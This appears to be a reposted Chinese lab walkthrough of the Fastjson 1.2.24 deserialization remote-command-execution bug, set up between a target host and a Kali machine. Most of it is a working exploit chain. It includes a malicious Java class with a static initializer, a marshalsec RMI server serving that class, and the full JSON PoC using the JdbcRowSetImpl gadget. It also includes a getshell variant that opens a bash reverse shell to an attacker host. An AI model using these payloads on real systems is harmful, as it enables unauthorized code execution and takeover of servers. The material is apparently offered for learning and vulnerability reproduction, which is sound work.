Fastjson1.2.24 反序列化任意命令执行

Fastjson

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

Fastjson 源码地址:https://github.com/alibaba/fastjsonFastjson

中文 Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

Fastjson特性:

  1. 提供服务器端、安卓客户端两种解析工具,性能表现较好。
  2. 提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
  3. 允许转换预先存在的无法修改的对象(只有class、无源代码)。
  4. Java泛型的广泛支持。
  5. 允许对象的自定义表示、允许自定义序列化类。
  6. 支持任意复杂对象(具有深厚的继承层次和广泛使用的泛型类型)。

相关教程:https://www.runoob.com/w3cnote/fastjson-intro.html

漏洞简介

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

环境搭建

靶机:192.168.99.100
攻击机kali:192.168.99.121

kali安装maven:

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J299jkOM-1640099497299)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219043412910.png)]

下载成功之后先创建个mvn的文件夹,然后执行以下命令:

mkdir /usr/local/apache-maven
mv apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven
tar -xzvf /usr/local/apache-maven/apache-maven-3.6.3-bin.tar.gz -C /usr/local/apache-maven/
update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1
update-alternatives --config mvn
vim ~/.bashrc

将以下内容放到bashrc文件末尾处

export M2_HOME=/usr/local/apache-maven/apache-maven-3.6.3
export MAVEN_OPTS="-Xms256m -Xmx512m" 
export JAVA_HOME=/usr/local/java/jdk1.8.0_211		#jdk路径

保存后执行以下命令测试mvn环境是否安装成功

mvn -version

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-02bEB51D-1640099497300)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219044057122.png)]

安装成功

漏洞复现

访问:http://192.168.99.100:8090/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AMK2pY6k-1640099497301)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219043132403.png)]

先保存以下代码为TouchFile.java 文件

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

执行以下代码会生成一个TouchFile.class文件

javac TouchFile.java

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ohJblr1o-1640099497302)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219044421268.png)]

把编译好的class文件传到外网系统中。并在class文件所在的目录,使用python开启监听:

python -m SimpleHTTPServer 4444

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ifKpGCoJ-1640099497302)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219044831087.png)]

或者将类文件放到外网上,将class文件放入phpstudy的WWW目录下,启动phpstudy开启Apache服务,浏览器访问class文件地址(此处为本地ip)/TouchFile.class,可成功下载文件,这里我放在192.168.99.127下,访问如下地址:

http://192.168.99.127/TouchFile.class

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lU0gGSpO-1640099497303)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219045915597.png)]

可以成功下载。

这里我们选用第一种方式,也就是我们的class文件在192.168.99.121:4444下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oFEPkyq7-1640099497304)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219055324926.png)]

接着借助 marshalsec 项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

marshalsec :https://github.com/mbechler/marshalsec

项目编译(去项目目录下执行命令)

mvn clean package -DskipTests

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rPgiqs00-1640099497305)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219052522948.png)]

会在target下 生成 marshalsec-0.0.3-SNAPSHOT-all.jar 这样一个文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LDZ8pwKm-1640099497305)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219052635615.png)]

我们执行如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://class文件的ip或域名/#TouchFile" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.121:4444/#TouchFile" 9999

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0ec5ivkS-1640099497306)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219052743941.png)]

这个时候攻击环境已经准备就绪了 ,抓包执行如下poc即可:

POST / HTTP/1.1
Host: 192.168.99.100:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.99.121:9999/TouchFile",
        "autoCommit":true
    }
}

回显正常:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q5vtW30m-1640099497306)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219055939754.png)]

验证是否成功执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aJcT1aTo-1640099497307)(fastjson 1.2.24 反序列化任意命令执行.assets/image-20211219060112853.png)]

如果想执行其它命令,修改最初的java文件重新操作即可。

Getshell:

将TouchFile.java的内容改为:

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
   static {
       try {
   		Runtime r = Runtime.getRuntime();
   		Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/反弹shell的ip/端口 0>&1"});
   		p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

回显dnslog(验证):

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"ping", "xxx.dnslog.cn"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

ok!
仅供学习!

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>